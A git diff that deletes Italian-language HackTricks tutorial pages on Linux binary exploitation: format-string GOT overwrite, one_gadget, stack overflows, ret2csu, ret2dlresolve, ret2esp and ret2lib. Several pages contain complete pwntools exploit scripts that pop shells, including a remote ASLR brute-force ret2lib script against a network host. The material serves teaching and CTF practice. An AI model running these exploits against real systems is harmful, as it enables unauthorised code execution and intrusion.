-print(f"SUFFIX_PAYLOAD: {SUFFIX_PAYLOAD}")
-print(f"NNUM_ALREADY_WRITTEN_BYTES: {NNUM_ALREADY_WRITTEN_BYTES}")
-print(" ====================== ")
-
-
-def connect_binary():
-global P, ELF_LOADED, ROP_LOADED
-
-if LOCAL:
-P = process(LOCAL_BIN) # start the vuln binary
-ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
-ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
-
-elif REMOTETTCP:
-P = remote('10.10.10.10',1338) # start the vuln binary
-ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
-ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
-
-elif REMOTESSH:
-ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
-P = ssh_shell.process(REMOTE_BIN) # start the vuln binary
-ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
-ROP_LOADED = ROP(elf)# Find ROP gadgets
-
-
-#######################################
-### Get format string configuration ###
-#######################################
-
-def send_payload(payload):
-payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD
-log.info("payload = %s" % repr(payload))
-if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED")
-P.sendline(payload)
-sleep(0.5)
-return P.recv()
-
-
-def get_formatstring_config():
-global P
-
-for offset in range(1,1000):
-connect_binary()
-P.clean()
-
-payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p"
-recieved = send_payload(payload).strip()
-
-if b"41" in recieved:
-for padlen in range(0,4):
-if b"41414141" in recieved:
-connect_binary()
-payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p"
-recieved = send_payload(payload).strip()
-print(recieved)
-if b"42424242" in recieved:
-log.info(f"Found offset ({offset}) and padlen ({padlen})")
-return offset, padlen
-
-else:
-connect_binary()
-payload = b" " + payload
-recieved = send_payload(payload).strip()
-
-
-# In order to exploit a format string you need to find a position where part of your payload
-# is being reflected. Then, you will be able to put in the position arbitrary addresses
-# and write arbitrary content in those addresses
-# Therefore, the function get_formatstring_config will find the offset and padd needed to exploit the format string
-
-offset, padlen = get_formatstring_config()
-
-
-# In this template, the GOT of printf (the part of the GOT table that points to where the printf
-# function resides) is going to be modified by the address of the system inside the PLT (the
-# part of the code that will jump to the system function).
-# Therefore, next time the printf function is executed, system will be executed instead with the same
-# parameters passed to printf
-
-# In some scenarios you will need to loop1 more time to the vulnerability
-# In that cases you need to overwrite a pointer in the .fini_array for example
-# Uncomment the commented code below to gain 1 rexecution extra
-
-#P_FINI_ARRAY = ELF_LOADED.symbols["__init_array_end"] # .fini_array address
-#INIT_LOOP_ADDR = 0x8048614 # Address to go back
-SYSTEM_PLT = ELF_LOADED.plt["system"]
-P_GOT = ELF_LOADED.got["printf"]
-
-#log.info(f"Init loop address: {hex(INIT_LOOP_ADDR)}")
-#log.info(f"fini.array address: {hex(P_FINI_ARRAY)}")
-log.info(f"System PLT address: {hex(SYSTEM_PLT)}")
-log.info(f"Printf GOT address: {hex(P_GOT)}")
-
-connect_binary()
-if GDB and not REMOTETTCP and not REMOTESSH:
-# attach gdb and continue
-# You can set breakpoints, for example "break *main"
-gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n"
-sleep(5)
-
-format_string = FmtStr(execute_fmt=send_payload, offset=offset, padlen=padlen, numbwritten=NNUM_ALREADY_WRITTEN_BYTES)
-#format_string.write(P_FINI_ARRAY, INIT_LOOP_ADDR)
-format_string.write(P_GOT, SYSTEM_PLT)
-format_string.execute_writes()
-
-# Now that printf function is executing system you just need to find a place where you can
-# control the parameters passed to printf to execute arbitrary code.
-
-P.interactive()
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/one-gadget.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/one-gadget.md
deleted file mode 100644
index b60302e34..000000000
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/one-gadget.md
+++ /dev/null
@@ -1,20 +0,0 @@
-# One Gadget
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Informazioni di Base
-
-[**One Gadget**](https://github.com/david942j/one_gadget) consente di ottenere una shell invece di utilizzare **system** e **"/bin/sh". One Gadget** troverà all'interno della libreria libc un modo per ottenere una shell (`execve("/bin/sh")`) utilizzando solo un **indirizzo**.\
-Tuttavia, normalmente ci sono alcune restrizioni, le più comuni e facili da evitare sono come `[rsp+0x30] == NULL`. Poiché controlli i valori all'interno del **RSP**, devi solo inviare alcuni valori NULL in più in modo che la restrizione venga evitata.
-
-![](<../../images/image (615).png>)
-```python
-ONE_GADGET = libc.address + 0x4526a
-rop2 = base + p64(ONE_GADGET) + "\x00"*100
-```
-All'indirizzo indicato da One Gadget è necessario **aggiungere l'indirizzo base dove `libc`** è caricato.
-
-> [!TIP]
-> One Gadget è un **grande aiuto per le tecniche Arbitrary Write 2 Exec** e potrebbe **semplificare le catene ROP** poiché è necessario chiamare solo un indirizzo (e soddisfare i requisiti).
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md
deleted file mode 100644
index 778cbd565..000000000
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md
+++ /dev/null
@@ -1,89 +0,0 @@
-# Stack Overflow
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Che cos'è uno Stack Overflow
-
-Un **stack overflow** è una vulnerabilità che si verifica quando un programma scrive più dati nello stack di quanti ne siano allocati per contenerli. Questi dati in eccesso **sovrascriveranno lo spazio di memoria adiacente**, portando alla corruzione di dati validi, alla disruption del flusso di controllo e potenzialmente all'esecuzione di codice malevolo. Questo problema si verifica spesso a causa dell'uso di funzioni non sicure che non eseguono il controllo dei limiti sugli input.
-
-Il problema principale di questa sovrascrittura è che il **puntatore di istruzione salvato (EIP/RIP)** e il **puntatore di base salvato (EBP/RBP)** per tornare alla funzione precedente sono **memorizzati nello stack**. Pertanto, un attaccante sarà in grado di sovrascrivere questi e **controllare il flusso di esecuzione del programma**.
-
-La vulnerabilità di solito si verifica perché una funzione **copia nello stack più byte della quantità allocata per essa**, riuscendo così a sovrascrivere altre parti dello stack.\
-Alcune funzioni comuni vulnerabili a questo sono: `strcpy`, `strcat`, `sprintf`, `gets`... Inoltre, funzioni come `fgets` o `read`, che prendono un argomento di lunghezza, potrebbero essere utilizzate in modo vulnerabile se la lunghezza specificata è maggiore di quella allocata.
-
-Ad esempio, le seguenti funzioni potrebbero essere vulnerabili:
-```c
-void vulnerable() {
-char buffer[128];
-printf("Enter some text: ");
-gets(buffer); // This is where the vulnerability lies
-printf("You entered: %s\n", buffer);
-}
-```
-### Trovare Stack Overflow
-
-Il modo più comune per trovare stack overflow è fornire un input molto grande di `A`s (ad esempio `python3 -c 'print("A"*1000)'`) e aspettarsi un `Segmentation Fault` che indica che l'**indirizzo `0x41414141` è stato tentato di essere accesso**.
-
-Inoltre, una volta trovata la vulnerabilità di Stack Overflow, sarà necessario trovare l'offset fino a quando non sarà possibile **sovrascrivere l'indirizzo di ritorno**; per questo si usa solitamente una **sequenza di De Bruijn.** Che per un dato alfabeto di dimensione _k_ e sottosequenze di lunghezza _n_ è una **sequenza ciclica in cui ogni possibile sottosequenza di lunghezza **_**n**_** appare esattamente una volta** come sottosequenza contigua.
-
-In questo modo, invece di dover capire manualmente quale offset è necessario per controllare l'EIP, è possibile utilizzare come padding una di queste sequenze e poi trovare l'offset dei byte che hanno finito per sovrascriverlo.
-
-È possibile utilizzare **pwntools** per questo:
-```python
-from pwn import *
-
-# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
-pattern = cyclic(1000)
-
-# This is an example value that you'd have found in the EIP/IP register upon crash
-eip_value = p32(0x6161616c)
-offset = cyclic_find(eip_value)  # Finds the offset of the sequence in the De Bruijn pattern
-print(f"The offset is: {offset}")
-```
-o **GEF**:
-```bash
-#Patterns
-pattern create 200 #Generate length 200 pattern
-pattern search "avaaawaa" #Search for the offset of that substring
-pattern search $rsp #Search the offset given the content of $rsp
-```
-## Sfruttamento degli Overflow dello Stack
-
-Durante un overflow (supponendo che la dimensione dell'overflow sia abbastanza grande) sarai in grado di sovrascrivere i valori delle variabili locali all'interno dello stack fino a raggiungere il EBP/RBP e EIP/RIP salvati (o anche di più).\
-Il modo più comune per abusare di questo tipo di vulnerabilità è **modificare l'indirizzo di ritorno** in modo che, quando la funzione termina, **il flusso di controllo venga reindirizzato ovunque l'utente abbia specificato** in questo puntatore.
-
-Tuttavia, in altri scenari, potrebbe essere sufficiente **sovrascrivere alcuni valori delle variabili nello stack** per l'exploitation (come in semplici sfide CTF).
-
-### Ret2win
-
-In questo tipo di sfide CTF, c'è una **funzione** **all'interno** del binario che **non viene mai chiamata** e che **devi chiamare per vincere**. Per queste sfide devi solo trovare l'**offset per sovrascrivere l'indirizzo di ritorno** e **trovare l'indirizzo della funzione** da chiamare (di solito [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) sarebbe disabilitato) in modo che, quando la funzione vulnerabile restituisce, la funzione nascosta venga chiamata:
-
-{{#ref}}
-ret2win.md
-{{#endref}}
-
-### Stack Shellcode
-
-In questo scenario, l'attaccante potrebbe posizionare uno shellcode nello stack e abusare dell'EIP/RIP controllato per saltare allo shellcode ed eseguire codice arbitrario:
-
-{{#ref}}
-stack-shellcode.md
-{{#endref}}
-
-## ROP
-
-Questa tecnica è il framework fondamentale per bypassare la principale protezione della tecnica precedente: **Stack non eseguibile** (NX). E consente di eseguire diverse altre tecniche (ret2lib, ret2syscall...) che termineranno eseguendo comandi arbitrari abusando delle istruzioni esistenti nel binario:
-
-{{#ref}}
-rop-return-oriented-programing.md
-{{#endref}}
-
-## Tipi di protezioni
-
-Ci sono diverse protezioni che cercano di prevenire lo sfruttamento delle vulnerabilità, controllale in:
-
-{{#ref}}
-../common-binary-protections-and-bypasses/
-{{#endref}}
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/pointer-redirecting.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/pointer-redirecting.md
deleted file mode 100644
index aa9d511af..000000000
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/pointer-redirecting.md
+++ /dev/null
@@ -1,29 +0,0 @@
-# Pointer Redirecting
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## String pointers
-
-Se una chiamata di funzione utilizza un indirizzo di una stringa che si trova nello stack, è possibile abusare del buffer overflow per **sovrascrivere questo indirizzo** e inserire un **indirizzo di una stringa diversa** all'interno del binario.
-
-Se ad esempio una chiamata alla funzione **`system`** deve **utilizzare l'indirizzo di una stringa per eseguire un comando**, un attaccante potrebbe posizionare l'**indirizzo di una stringa diversa nello stack**, **`export PATH=.:$PATH`** e creare nella directory corrente uno **script con il nome della prima lettera della nuova stringa** poiché questo verrà eseguito dal binario.
-
-Puoi trovare un esempio di questo in:
-
-- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c)
-- [https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html](https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html)
-- 32bit, cambia l'indirizzo della stringa dei flag nello stack in modo che venga stampato da `puts`
-
-## Function pointers
-
-Stesso concetto dei puntatori a stringa ma applicato alle funzioni, se lo **stack contiene l'indirizzo di una funzione** che verrà chiamata, è possibile **cambiarlo** (ad es. per chiamare **`system`**).
-
-Puoi trovare un esempio in:
-
-- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c)
-
-## References
-
-- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2csu.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2csu.md
deleted file mode 100644
index b38cbd001..000000000
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2csu.md
+++ /dev/null
@@ -1,76 +0,0 @@
-# Ret2csu
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Informazioni di Base
-
-**ret2csu** è una tecnica di hacking utilizzata quando stai cercando di prendere il controllo di un programma ma non riesci a trovare i **gadgets** che di solito usi per manipolare il comportamento del programma.
-
-Quando un programma utilizza determinate librerie (come libc), ha alcune funzioni integrate per gestire come i diversi pezzi del programma comunicano tra loro. Tra queste funzioni ci sono alcune gemme nascoste che possono agire come i nostri gadgets mancanti, in particolare una chiamata `__libc_csu_init`.
-
-### I Gadgets Magici in \_\_libc_csu_init
-
-In `__libc_csu_init`, ci sono due sequenze di istruzioni (i nostri "gadgets magici") che si distinguono:
-
-1. La prima sequenza ci consente di impostare valori in diversi registri (rbx, rbp, r12, r13, r14, r15). Questi sono come slot dove possiamo memorizzare numeri o indirizzi che vogliamo utilizzare in seguito.
-```armasm
-pop rbx;
-pop rbp;
-pop r12;
-pop r13;
-pop r14;
-pop r15;
-ret;
-```
-Questo gadget ci consente di controllare questi registri estraendo valori dallo stack in essi.
-
-2. La seconda sequenza utilizza i valori che abbiamo impostato per fare un paio di cose:
-- **Spostare valori specifici in altri registri**, rendendoli pronti per essere utilizzati come parametri nelle funzioni.
-- **Eseguire una chiamata a una posizione** determinata sommando i valori in r15 e rbx, quindi moltiplicando rbx per 8.
-```
-mov rdx, r14;
-mov rsi, r13;
-mov edi, r12d;
-call qword [r15 + rbx*8];
-```
-## Esempio
-
-Immagina di voler effettuare una syscall o chiamare una funzione come `write()`, ma hai bisogno di valori specifici nei registri `rdx` e `rsi` come parametri. Normalmente, cercheresti gadget che impostano direttamente questi registri, ma non riesci a trovarne.
-
-Ecco dove entra in gioco **ret2csu**:
-
-1. **Imposta i Registri**: Usa il primo gadget magico per estrarre valori dallo stack e inserirli in rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) e r15.
-2. **Usa il Secondo Gadget**: Con quei registri impostati, utilizzi il secondo gadget. Questo ti consente di spostare i valori scelti in `rdx` e `rsi` (da r14 e r13, rispettivamente), preparando i parametri per una chiamata di funzione. Inoltre, controllando `r15` e `rbx`, puoi far sì che il programma chiami una funzione situata all'indirizzo che calcoli e posizioni in `[r15 + rbx*8]`.
-
-Hai un [**esempio che utilizza questa tecnica e la spiega qui**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), e questo è l'exploit finale che ha utilizzato:
-```python
-from pwn import *
-
-elf = context.binary = ELF('./vuln')
-p = process()
-
-POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
-REG_CALL = 0x00401208  # rdx, rsi, edi, call [r15 + rbx*8]
-RW_LOC = 0x00404028
-
-rop.raw('A' * 40)
-rop.gets(RW_LOC)
-rop.raw(POP_CHAIN)
-rop.raw(0)                      # r12
-rop.raw(0)                      # r13
-rop.raw(0xdeadbeefcafed00d)     # r14 - popped into RDX!
-rop.raw(RW_LOC)                 # r15 - holds location of called function!
-rop.raw(REG_CALL)               # all the movs, plus the call
-
-p.sendlineafter('me\n', rop.chain())
-p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
-print(p.recvline())                        # should receive "Awesome work!"
-```
-> [!WARNING]
-> Nota che l'exploit precedente non è destinato a fare un **`RCE`**, è destinato solo a chiamare una funzione chiamata `win` (prendendo l'indirizzo di `win` da stdin chiamando gets nella catena ROP e memorizzandolo in r15) con un terzo argomento con il valore `0xdeadbeefcafed00d`.
-
-### Perché Non Usare Direttamente libc?
-
-Di solito, questi casi sono anche vulnerabili a [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html), ma a volte è necessario controllare più parametri di quanti possano essere facilmente controllati con i gadget che trovi direttamente in libc. Ad esempio, la funzione `write()` richiede tre parametri, e **trovare gadget per impostare tutti questi direttamente potrebbe non essere possibile**.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md
deleted file mode 100644
index 482ecd357..000000000
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md
+++ /dev/null
@@ -1,65 +0,0 @@
-# Ret2dlresolve
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Informazioni di base
-
-Come spiegato nella pagina su [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) e [**Relro**](../common-binary-protections-and-bypasses/relro.md), i binari senza Full Relro risolveranno i simboli (come indirizzi a librerie esterne) la prima volta che vengono utilizzati. Questa risoluzione avviene chiamando la funzione **`_dl_runtime_resolve`**.
-
-La funzione **`_dl_runtime_resolve`** prende dallo stack riferimenti a alcune strutture di cui ha bisogno per risolvere il simbolo specificato.
-
-Pertanto, è possibile **falsificare tutte queste strutture** per far sì che la risoluzione dinamica colleghi il simbolo richiesto (come la funzione **`system`**) e chiamarla con un parametro configurato (ad es. **`system('/bin/sh')`**).
-
-Di solito, tutte queste strutture vengono falsificate creando una **catena ROP iniziale che chiama `read`** su una memoria scrivibile, quindi le **strutture** e la stringa **`'/bin/sh'`** vengono passate in modo che vengano memorizzate da read in una posizione nota, e poi la catena ROP continua chiamando **`_dl_runtime_resolve`** con l'indirizzo di `$'/bin/sh'`.
-
-> [!TIP]
-> Questa tecnica è particolarmente utile se non ci sono gadget syscall (per utilizzare tecniche come [**ret2syscall**](rop-syscall-execv.md) o [SROP](srop-sigreturn-oriented-programming.md)) e non ci sono modi per fare leak degli indirizzi libc.
-
-Puoi trovare una spiegazione migliore su questa tecnica nella seconda metà del video:
-
-{{#ref}}
-https://youtu.be/ADULSwnQs-s?feature=shared
-{{#endref}}
-
-## Strutture
-
-È necessario falsificare 3 strutture: **`JMPREL`**, **`STRTAB`** e **`SYMTAB`**. Hai una spiegazione migliore su come queste vengono costruite in [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)
-
-## Riepilogo dell'attacco
-
-1. Scrivere strutture false in un certo luogo
-2. Impostare il primo argomento di system (`$rdi = &'/bin/sh'`)
-3. Impostare nello stack gli indirizzi delle strutture per chiamare **`_dl_runtime_resolve`**
-4. **Chiamare** `_dl_runtime_resolve`
-5. **`system`** verrà risolto e chiamato con `'/bin/sh'` come argomento
-
-## Esempio
-
-Puoi trovare un [**esempio di questa tecnica qui**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **contenente una spiegazione molto buona della catena ROP finale**, ma qui c'è l'exploit finale utilizzato:
-```python
-from pwn import *
-
-elf = context.binary = ELF('./vuln', checksec=False)
-p = elf.process()
-rop = ROP(elf)
-
-# create the dlresolve object
-dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
-
-rop.raw('A' * 76)
-rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures
-rop.ret2dlresolve(dlresolve)     # call .plt and dl-resolve() with the correct, calculated reloc_offset
-
-log.info(rop.dump())
-
-p.sendline(rop.chain())
-p.sendline(dlresolve.payload)    # now the read is called and we pass all the relevant structures in
-
-p.interactive()
-```
-## Riferimenti
-
-- [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
-- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md
deleted file mode 100644
index f91bc270a..000000000
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md
+++ /dev/null
@@ -1,62 +0,0 @@
-# Ret2esp / Ret2reg
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## **Ret2esp**
-
-**Poiché l'ESP (Stack Pointer) punta sempre alla cima dello stack**, questa tecnica prevede di sostituire l'EIP (Instruction Pointer) con l'indirizzo di un'istruzione **`jmp esp`** o **`call esp`**. Facendo ciò, il shellcode viene posizionato subito dopo l'EIP sovrascritto. Quando viene eseguita l'istruzione `ret`, l'ESP punta all'indirizzo successivo, precisamente dove è memorizzato il shellcode.
-
-Se **Address Space Layout Randomization (ASLR)** non è abilitato in Windows o Linux, è possibile utilizzare le istruzioni `jmp esp` o `call esp` trovate nelle librerie condivise. Tuttavia, con [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) attivo, potrebbe essere necessario cercare all'interno del programma vulnerabile stesso per queste istruzioni (e potrebbe essere necessario sconfiggere [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)).
-
-Inoltre, essere in grado di posizionare il shellcode **dopo la corruzione dell'EIP**, piuttosto che nel mezzo dello stack, garantisce che eventuali istruzioni `push` o `pop` eseguite durante l'operazione della funzione non interferiscano con il shellcode. Questa interferenza potrebbe verificarsi se il shellcode fosse posizionato nel mezzo dello stack della funzione.
-
-### Mancanza di spazio
-
-Se ti manca spazio per scrivere dopo aver sovrascritto l'RIP (forse solo pochi byte), scrivi un shellcode `jmp` iniziale come:
-```armasm
-sub rsp, 0x30
-jmp rsp
-```
-E scrivi il shellcode all'inizio dello stack.
-
-### Esempio
-
-Puoi trovare un esempio di questa tecnica in [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) con un exploit finale come:
-```python
-from pwn import *
-
-elf = context.binary = ELF('./vuln')
-p = process()
-
-jmp_rsp = next(elf.search(asm('jmp rsp')))
-
-payload = b'A' * 120
-payload += p64(jmp_rsp)
-payload += asm('''
-sub rsp, 10;
-jmp rsp;
-''')
-
-pause()
-p.sendlineafter('RSP!\n', payload)
-p.interactive()
-```
-## Ret2reg
-
-Allo stesso modo, se sappiamo che una funzione restituisce l'indirizzo dove è memorizzato il shellcode, possiamo sfruttare le istruzioni **`call eax`** o **`jmp eax`** (note come tecnica **ret2eax**), offrendo un altro metodo per eseguire il nostro shellcode. Proprio come eax, **qualsiasi altro registro** contenente un indirizzo interessante potrebbe essere utilizzato (**ret2reg**).
-
-### Esempio
-
-Puoi trovare un esempio qui: [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg)
-
-## Protezioni
-
-- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Se lo stack non è eseguibile, questo non aiuterà poiché dobbiamo posizionare il shellcode nello stack e saltare per eseguirlo.
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) & [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Questi possono rendere più difficile trovare un'istruzione per saltare a esp o a qualsiasi altro registro.
-
-## Riferimenti
-
-- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode)
-- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md
deleted file mode 100644
index b70b0d229..000000000
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md
+++ /dev/null
@@ -1,129 +0,0 @@
-# Ret2lib
-
-{{#include ../../../../banners/hacktricks-training.md}}
-
-## **Informazioni di base**
-
-L'essenza di **Ret2Libc** è reindirizzare il flusso di esecuzione di un programma vulnerabile a una funzione all'interno di una libreria condivisa (ad es., **system**, **execve**, **strcpy**) invece di eseguire shellcode fornito dall'attaccante nello stack. L'attaccante crea un payload che modifica l'indirizzo di ritorno nello stack per puntare alla funzione della libreria desiderata, mentre organizza anche per qualsiasi argomento necessario per essere impostato correttamente secondo la convenzione di chiamata.
-
-### **Passaggi di esempio (semplificati)**
-
-- Ottenere l'indirizzo della funzione da chiamare (ad es. system) e il comando da chiamare (ad es. /bin/sh)
-- Generare una catena ROP per passare il primo argomento che punta alla stringa del comando e il flusso di esecuzione alla funzione
-
-## Trovare gli indirizzi
-
-- Supponendo che la `libc` utilizzata sia quella della macchina attuale, puoi trovare dove verrà caricata in memoria con:
-```bash
-ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
-```
-Se vuoi controllare se l'ASLR sta cambiando l'indirizzo di libc puoi fare:
-```bash
-for i in `seq 0 20`; do ldd ./ | grep libc; done
-```
-- Conoscendo la libc utilizzata è possibile trovare anche l'offset della funzione `system` con:
-```bash
-readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
-```
-- Conoscendo la libc utilizzata è possibile trovare anche l'offset della stringa `/bin/sh` con:
-```bash
-strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
-```
-### Utilizzando gdb-peda / GEF
-
-Conoscendo la libc utilizzata, è anche possibile usare Peda o GEF per ottenere l'indirizzo della funzione **system**, della funzione **exit** e della stringa **`/bin/sh`** :
-```
-p system
-p exit
-find "/bin/sh"
-```
-### Utilizzando /proc/\/maps
-
-Se il processo sta creando **figli** ogni volta che parli con esso (server di rete) prova a **leggere** quel file (probabilmente avrai bisogno di essere root).
-
-Qui puoi trovare **esattamente dove è caricata la libc** all'interno del processo e **dove verrà caricata** per ogni figlio del processo.
-
-![](<../../../../images/image (95).png>)
-
-In questo caso è caricata in **0xb75dc000** (Questo sarà l'indirizzo base della libc)
-
-## Libc sconosciuta
-
-Potrebbe essere possibile che **non conosci la libc che il binario sta caricando** (perché potrebbe trovarsi su un server a cui non hai accesso). In quel caso potresti abusare della vulnerabilità per **leakare alcuni indirizzi e scoprire quale libreria libc** viene utilizzata:
-
-{{#ref}}
-rop-leaking-libc-address/
-{{#endref}}
-
-E puoi trovare un template di pwntools per questo in:
-
-{{#ref}}
-rop-leaking-libc-address/rop-leaking-libc-template.md
-{{#endref}}
-
-## Bypassare ASLR in 32 bit
-
-Questi attacchi di brute-forcing sono **utili solo per sistemi a 32 bit**.
-
-- Se l'exploit è locale, puoi provare a forzare l'indirizzo base della libc (utile per sistemi a 32 bit):
-```python
-for off in range(0xb7000000, 0xb8000000, 0x1000):
-```
-- Se attacchi un server remoto, potresti provare a **forzare l'indirizzo della funzione `libc` `usleep`**, passando come argomento 10 (ad esempio). Se a un certo punto il **server impiega 10 secondi in più per rispondere**, hai trovato l'indirizzo di questa funzione.
-
-## One Gadget
-
-{{#ref}}
-../../one-gadget.md
-{{#endref}}
-
-## Esempio di codice x86 Ret2lib
-
-In questo esempio il brute-force ASLR è integrato nel codice e il binario vulnerabile si trova su un server remoto:
-```python
-from pwn import *
-
-c = remote('192.168.85.181',20002)
-c.recvline()
-
-for off in range(0xb7000000, 0xb8000000, 0x1000):
-p = ""
-p += p32(off + 0x0003cb20) #system
-p += "CCCC" #GARBAGE, could be address of exit()
-p += p32(off + 0x001388da) #/bin/sh
-payload = 'A'*0x20010 + p
-c.send(payload)
-c.interactive()
-```
-## x64 Ret2lib Esempio di Codice
-
-Controlla l'esempio da:
-
-{{#ref}}
-../rop-return-oriented-programing.md
-{{#endref}}
-
-## Ret-into-printf (o puts)
-
-Questo consente di **leakare informazioni dal processo** chiamando `printf`/`puts` con alcuni dati specifici posti come argomento.
-
-## Ret2printf
-
-Questo significa fondamentalmente abusare di un **Ret2lib per trasformarlo in una vulnerabilità di formato stringhe `printf`** utilizzando il `ret2lib` per chiamare printf con i valori da sfruttare (sembra inutile ma è possibile):
-
-{{#ref}}
-../../format-strings/
-{{#endref}}
-
-## Altri Esempi e riferimenti
-
-- [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
-- Ret2lib, dato un leak all'indirizzo di una funzione in libc, utilizzando un gadget
-- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
-- 64 bit, ASLR abilitato ma senza PIE, il primo passo è riempire un overflow fino al byte 0x00 del canary per poi chiamare puts e leakarlo. Con il canary viene creato un gadget ROP per chiamare puts per leakare l'indirizzo di puts dal GOT e un gadget ROP per chiamare `system('/bin/sh')`
-- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
